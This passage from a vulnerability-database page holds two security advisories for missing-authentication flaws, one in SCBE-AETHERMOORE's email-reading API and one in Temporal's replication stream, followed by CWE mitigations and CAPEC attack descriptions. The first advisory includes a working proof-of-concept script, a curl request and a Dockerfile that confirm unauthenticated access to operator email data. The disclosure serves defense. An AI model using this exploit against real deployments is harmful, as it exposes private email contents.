  "details": "### Summary\n\nThe AetherBrowser API server (`scripts/aetherbrowser/api_server.py`) exposes the `POST /api/ops/check-email` endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the `email_reader.py` subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to `0.0.0.0:8100` by default with CORS set to `allow_origins=[\"*\"]`, making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.\n\n### Details\n\n`scripts/aetherbrowser/api_server.py` registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):\n\n```python\n@app.post(\"/api/ops/check-email\")\nasync def ops_check_email():\n    script = ROOT / \"scripts\" / \"apollo\" / \"email_reader.py\"\n    result = await asyncio.to_thread(\n        _run_subprocess,\n        [sys.executable, str(script)],\n        timeout=30,\n    )\n    return {\n        \"output\": result.get(\"stdout\", \"\")[:2000],\n        ...\n    }\n```\n\nNo `Depends()` guard, middleware check, or API-key validation is applied. The decorator is a plain `@app.post(...)`, so FastAPI registers the route with zero access control.\n\nThe server is bound to all interfaces (line 4065/4070):\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port)   # default port 8100\n```\n\nCORS middleware is configured to allow any origin (lines 486\u2013492):\n\n```python\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    ...\n)\n```\n\nWhen the endpoint is called, `email_reader.py` is executed as a subprocess. It loads mail credentials from `config/connector_oauth/.env.connector.oauth` (line 29\u201334 of `email_reader.py`):\n\n```python\n# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.\n```\n\nWith credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273\u2013299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.\n\n**Complete data-flow path:**\n\n1. `api_server.py:4065+4070` \u2014 server starts on `0.0.0.0:8100`\n2. `api_server.py:486\u2013492` \u2014 CORS `allow_origins=[\"*\"]` permits cross-origin requests\n3. `api_server.py:3008` \u2014 `POST /api/ops/check-email` registered without auth\n4. `api_server.py:3011\u20133023` \u2014 `_run_subprocess([sys.executable, str(script)])` invoked; stdout captured\n5. `email_reader.py:29\u201334` \u2014 connector env file loaded, credentials extracted\n6. `email_reader.py:378\u2013394` \u2014 IMAP login using `PROTONMAIL_BRIDGE_PASSWORD` / `GMAIL_APP_PASSWORD`\n7. `email_reader.py:273\u2013299` \u2014 RFC822 messages fetched; sender, subject, snippet printed to stdout\n8. `api_server.py:3023` \u2014 `stdout[:2000]` returned in JSON response to caller\n\nEven without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the attacker or test machine.\n- Repository source available under `repo/` within the build context.\n\n**Step 1 \u2014 Build the Docker image:**\n\n```bash\ndocker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n```\n\nThe Dockerfile (`vuln-001/Dockerfile`) installs `fastapi`, `uvicorn`, and `pydantic`, copies the repository source, and starts `scripts/aetherbrowser/api_server.py` on port 8100.\n\n**Step 2 \u2014 Start the container:**\n\n```bash\ndocker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser\n```\n\n**Step 3 \u2014 Run the PoC script:**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8100\n```\n\nOr send the request manually with no authentication headers:\n\n```bash\ncurl -s -X POST http://127.0.0.1:8100/api/ops/check-email \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{}\u0027\n```\n\n**Expected result (no credentials configured):**\n\n```json\n{\n  \"output\": \"APOLLO EMAIL READER\\n============================================================\\n  [ProtonMail] No PROTONMAIL_BRIDGE_PASSWORD set\\n  [Gmail] No GMAIL_APP_PASSWORD set\\n\\nNo emails found.\\n\",\n  \"exit_code\": 0,\n  \"errors\": null\n}\n```\n\nHTTP status 200 is returned with no `401` or `403`, and the subprocess stdout appears in the response. In a production deployment with `PROTONMAIL_BRIDGE_PASSWORD` or `GMAIL_APP_PASSWORD` set, the response would contain real email metadata (senders, subjects, body snippets).\n\n**Dynamic test result (Phase 2):**\n\nThe Phase 2 dynamic test confirmed HTTP 200 with the `APOLLO EMAIL READER` banner in the response body. Server access log showed `\"POST /api/ops/check-email HTTP/1.1\" 200 OK` from an unauthenticated source. The subprocess was executed without any authentication gate being triggered.\n\n**Remediation:**\n\nAdd a mandatory API-key dependency to all `/api/ops/*` routes:\n\n```diff\n-from fastapi import FastAPI, HTTPException, Query, Request\n+from fastapi import Depends, FastAPI, Header, HTTPException, Query, Request, status\n\n+def require_ops_api_key(x_api_key: Optional[str] = Header(default=None)) -\u003e None:\n+    expected = os.environ.get(\"AETHERBROWSER_OPS_API_KEY\", \"\").strip()\n+    if not expected:\n+        raise HTTPException(\n+            status_code=status.HTTP_503_SERVICE_UNAVAILABLE,\n+            detail=\"ops endpoints disabled: AETHERBROWSER_OPS_API_KEY is not configured\",\n+        )\n+    if not x_api_key or not hmac.compare_digest(x_api_key, expected):\n+        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail=\"invalid ops API key\")\n\n-@app.post(\"/api/ops/check-email\")\n+@app.post(\"/api/ops/check-email\", dependencies=[Depends(require_ops_api_key)])\n async def ops_check_email():\n```\n\nAdditionally, the server should default to `127.0.0.1` instead of `0.0.0.0`, and stdout from operational subprocesses should never be returned verbatim to callers.\n\n### Impact\n\nAn unauthenticated remote attacker who can reach port 8100 of a deployed SCBE-AETHERMOORE instance can:\n\n1. **Exfiltrate operator email metadata**: sender addresses, email subjects, and body snippets from the operator\u0027s ProtonMail or Gmail inbox are disclosed in the response.\n2. **Enumerate mail configuration**: even without active credentials, the API reveals which mail providers are configured and prints diagnostic output from internal tooling.\n3. **Trigger repeated IMAP sessions**: repeated calls to the endpoint cause repeated IMAP logins using the stored credentials, potentially generating account alerts or exhausting connection limits.\n\nThe vulnerability affects any deployment where `scripts/aetherbrowser/api_server.py` is running and reachable from an untrusted network. Because the server binds to `0.0.0.0` by default with wildcard CORS, cloud deployments and developer machines with exposed ports are directly affected. No credentials, tokens, or prior knowledge of the application are required by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unauthenticated /api/ops/check-email endpoint\n# Reproduces CWE-306 (Missing Authentication for Critical Function) in\n# SCBE-AETHERMOORE api_server.py v4.2.1\n#\n# Build context: pypiAi_1296_issdandavis__SCBE-AETHERMOORE/ (parent of vuln-001/)\n# Build:  docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .\n# Run:    docker run --rm -p 8100:8100 vuln001-aetherbrowser\n\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install only the packages required for api_server.py to start.\n# All other imports (asyncio, subprocess, pathlib, etc.) are stdlib.\nRUN pip install --no-cache-dir \\\n    \"fastapi\u003e=0.100.0\" \\\n    \"uvicorn[standard]\u003e=0.27.0\" \\\n    \"pydantic\u003e=2.0.0\"\n\n# Copy the repository source.\n# The build context is the report root (parent directory of vuln-001/).\nCOPY repo/ /app/\n\nEXPOSE 8100\n\n# Start the AetherBrowser API server on all interfaces at port 8100.\n# This replicates the production start command documented in api_server.py line 6-8.\nCMD [\"python\", \"scripts/aetherbrowser/api_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unauthenticated /api/ops/check-email\n\nCWE-306 \u2014 Missing Authentication for Critical Function\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  (7.5 High)\n\nTarget: scripts/aetherbrowser/api_server.py (SCBE-AETHERMOORE v4.2.1)\n\nThis PoC demonstrates that:\n  1. POST /api/ops/check-email is accessible without any authentication token.\n  2. The server responds with HTTP 200 instead of 401/403.\n  3. The email-reading subprocess (email_reader.py) is executed and its stdout\n     is returned verbatim in the JSON response \u2014 confirming the unauthenticated\n     code path reaches the sensitive subprocess.\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 8100]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nTIMEOUT = 10\n\n\ndef wait_for_server(host: str, port: int, max_wait: int = 30) -\u003e bool:\n    \"\"\"Poll the health endpoint until the server is ready.\"\"\"\n    url = f\"http://{host}:{port}/api/health\"\n    deadline = time.time() + max_wait\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(url, timeout=2) as resp:\n                if resp.status \u003c 500:\n                    return True\n        except Exception:\n            pass\n        time.sleep(1)\n    return False\n\n\ndef send_unauthenticated_request(host: str, port: int) -\u003e dict:\n    \"\"\"Send POST /api/ops/check-email with NO authentication headers.\"\"\"\n    url = f\"http://{host}:{port}/api/ops/check-email\"\n    req = urllib.request.Request(\n        url,\n        data=b\"{}\",\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\"},\n        # NOTE: No Authorization header, no X-API-Key, no session cookie.\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            return {\"status\": resp.status, \"body\": body}\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(\"utf-8\", errors=\"replace\")\n        return {\"status\": exc.code, \"body\": body}\n    except Exception as exc:\n        return {\"status\": -1, \"body\": str(exc)}\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 unauthenticated check-email\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8100)\n    args = parser.parse_args()\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Unauthenticated /api/ops/check-email\")\n    print(\"=\" * 60)\n    print(f\"Target: http://{args.host}:{args.port}/api/ops/check-email\")\n    print()\n\n    # Wait for the server to be ready.\n    print(\"[*] Waiting for server to become ready ...\")\n    if not wait_for_server(args.host, args.port):\n        print(\"[!] Server did not become ready within 30 s \u2014 check the container\")\n        return 1\n    print(\"[+] Server is up\")\n    print()\n\n    # Send the unauthenticated exploit request.\n    print(\"[*] Sending unauthenticated POST /api/ops/check-email ...\")\n    result = send_unauthenticated_request(args.host, args.port)\n    status = result[\"status\"]\n    body = result[\"body\"]\n\n    print(f\"[*] HTTP status: {status}\")\n    print()\n    print(\"[*] Response body (first 1500 chars):\")\n    print(\"-\" * 60)\n    print(body[:1500])\n    print(\"-\" * 60)\n    print()\n\n    # Parse the JSON response if possible.\n    output_field = \"\"\n    try:\n        parsed = json.loads(body)\n        output_field = parsed.get(\"output\", \"\")\n    except Exception:\n        output_field = \"\"\n\n    # Determine pass/fail.\n    # PASS criteria:\n    #   (a) HTTP 200 \u2014 the request was NOT rejected with a 401/403.\n    #   (b) The response body contains the email-reader banner string\n    #       \"APOLLO EMAIL READER\", proving the subprocess was invoked.\n    # Note: Without real IMAP credentials the reader will print the banner\n    # and report \"No PROTONMAIL_BRIDGE_PASSWORD set\" / \"No GMAIL_APP_PASSWORD set\".\n    # With real credentials it would return live email metadata.\n\n    crit_auth = (status == 200)\n    crit_subprocess = (\"APOLLO EMAIL READER\" in output_field or \"APOLLO EMAIL READER\" in body)\n\n    print(\"[*] Criteria evaluation:\")\n    print(f\"    (a) HTTP 200 returned (no auth gate): {\u0027PASS\u0027 if crit_auth else \u0027FAIL\u0027} (got {status})\")\n    print(f\"    (b) Subprocess executed (banner in response): {\u0027PASS\u0027 if crit_subprocess else \u0027FAIL\u0027}\")\n    print()\n\n    if crit_auth and crit_subprocess:\n        print(\"[PASS] Vulnerability confirmed: POST /api/ops/check-email\")\n        print(\"       is reachable without authentication and the email-reading\")\n        print(\"       subprocess is executed, returning its output to the caller.\")\n        return 0\n    elif crit_auth and not crit_subprocess:\n        # Still a valid PASS for the auth-bypass aspect; subprocess may have\n        # errored out but the missing authentication is proven.\n        print(\"[PASS] Auth bypass confirmed: HTTP 200 without credentials.\")\n        print(\"       Subprocess output not captured (may have crashed), but\")\n        print(\"       the endpoint is unauthenticated \u2014 CWE-306 is confirmed.\")\n        return 0\n    else:\n        print(\"[FAIL] Could not confirm the vulnerability.\")\n        print(f\"       HTTP status was {status} \u2014 expected 200.\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "id": "GHSA-q986-4x7x-gx39",
  "modified": "2026-09-25T21:48:03Z",
  "published": "2026-09-25T21:48:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE/security/advisories/GHSA-q986-4x7x-gx39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE/pull/2287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE/commit/ca833795e01eab060e92572e5f667c0c136b8c1e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE/commit/de7779b722c501dbcf4eae95dd51bb3984506fb1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE"
    },
    {
      "type": "WEB",
      "url": "https://github.com/issdandavis/SCBE-AETHERMOORE/releases/tag/v4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SCBE-AETHERMOORE Unauthenticated AetherBrowser Ops API Exposes Operator Email Digests"
}

GHSA-Q98V-9F9W-F49Q

Vulnerability from github – Published: 2026-04-10 21:31 – Updated: 2026-04-13 19:23
VLAI
Summary
Temporal does not enforce authentication and authorization for the streaming AdminService/StreamWorkflowReplicationMessages endpoint
Details

The frontend gRPC server's streaming interceptor chain did not include the authorization interceptor. When a ClaimMapper and Authorizer are configured, unary RPCs enforce authentication and authorization, but the streaming AdminService/StreamWorkflowReplicationMessages endpoint accepted requests without credentials. This endpoint is registered on the same port as WorkflowService and cannot be disabled independently. An attacker with network access to the frontend port could open the replication stream without authentication. Data exfiltration is possible, but  only when a configured replication target is correctly configured and the attacker has knowledge of the cluster configuration, as the history service validates cluster IDs and peer membership before returning replication data.

Temporal Cloud is not affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.temporal.io/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.28.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.temporal.io/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.29.0-135.0"
            },
            {
              "fixed": "1.29.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.temporal.io/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0-143.0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T19:23:25Z",
    "nvd_published_at": "2026-04-10T21:16:28Z",
    "severity": "MODERATE"
  },
  "details": "The frontend gRPC server\u0027s streaming interceptor chain did not include the authorization interceptor. When a\u00a0ClaimMapper\u00a0and\u00a0Authorizer\u00a0are configured, unary RPCs enforce authentication and authorization, but the streaming\u00a0AdminService/StreamWorkflowReplicationMessages\u00a0endpoint accepted requests without credentials. This endpoint is registered on the same port as\u00a0WorkflowService\u00a0and cannot be disabled independently. An attacker with network access to the frontend port could open the replication stream without authentication. Data exfiltration is possible, but\u00a0 only when a configured replication target is correctly configured and the attacker has knowledge of the cluster configuration, as the history service validates cluster IDs and peer membership before returning replication data.\n\n\n\n\nTemporal Cloud is not affected.",
  "id": "GHSA-q98v-9f9w-f49q",
  "modified": "2026-04-13T19:23:25Z",
  "published": "2026-04-10T21:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5724"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/temporalio/temporal"
    },
    {
      "type": "WEB",
      "url": "https://github.com/temporalio/temporal/releases/tag/v1.28.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/temporalio/temporal/releases/tag/v1.29.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/temporalio/temporal/releases/tag/v1.30.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Temporal does not enforce authentication and authorization for the streaming\u00a0AdminService/StreamWorkflowReplicationMessages\u00a0endpoint"
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.